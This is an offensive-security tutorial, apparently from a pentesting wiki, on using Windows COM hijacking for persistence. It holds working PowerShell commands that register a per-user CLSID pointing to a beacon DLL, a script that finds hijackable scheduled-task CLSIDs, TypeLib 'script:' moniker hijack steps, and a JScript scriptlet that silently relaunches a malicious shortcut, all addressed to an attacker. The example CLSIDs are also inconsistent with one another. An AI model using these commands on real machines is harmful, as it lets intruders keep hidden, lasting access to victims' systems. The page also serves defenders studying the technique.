COM Hijacking

Reading time: 6 minutes

Searching not existent COM components

As the values of HKCU can be modified by the users COM Hijacking could be used as a persistent mechanisms. Using procmon it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:

• RegOpenKey operations.
• where the Result is NAME NOT FOUND.
• and the Path ends with InprocServer32.

Once you have decided which not existent COM to impersonate execute the following commands. Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM components

Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      $usersSid = "S-1-5-32-545"
      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

      if ($Task.Principal.GroupId -eq $usersGroup)
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

Checking the output you can select one that is going to be executed every time a user logs in for example.

Now searching for the CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY\CLASSES\ROOT\CLSID and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
               ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.

COM TypeLib Hijacking (script: moniker persistence)

Type Libraries (TypeLib) define COM interfaces and are loaded via LoadTypeLib(). When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under HKCR\TypeLib\{LIBID}. If the TypeLib path is replaced with a moniker, e.g. script:C:\...\evil.sct, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched.

This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even explorer.exe).

Steps (PowerShell)

1. Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} (Microsoft Web Browser).

$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid  LIBID=$libid  VER=$ver"

2. Point the per-user TypeLib path to a local scriptlet using the script: moniker (no admin rights required):

$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"

3. Drop a minimal JScript .sct that relaunches your primary payload (e.g. a .lnk used by the initial chain):

<?xml version="1.0"?>
<scriptlet>
  <registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
  <script language="JScript">
    <![CDATA[
      try {
        var sh = new ActiveXObject('WScript.Shell');
        // Re-launch the malicious LNK for persistence
        var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
        sh.Run(cmd, 0, false);
      } catch(e) {}
    ]]>
  </script>
</scriptlet>

4. Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot.

Cleanup

# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null

Notes

• You can apply the same logic to other high-frequency COM components; always resolve the real LIBID from HKCR\CLSID\{CLSID}\TypeLib first.
• On 64-bit systems you may also populate the win64 subkey for 64-bit consumers.

References

• Hijack the TypeLib – New COM persistence technique (CICADA8)
• Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies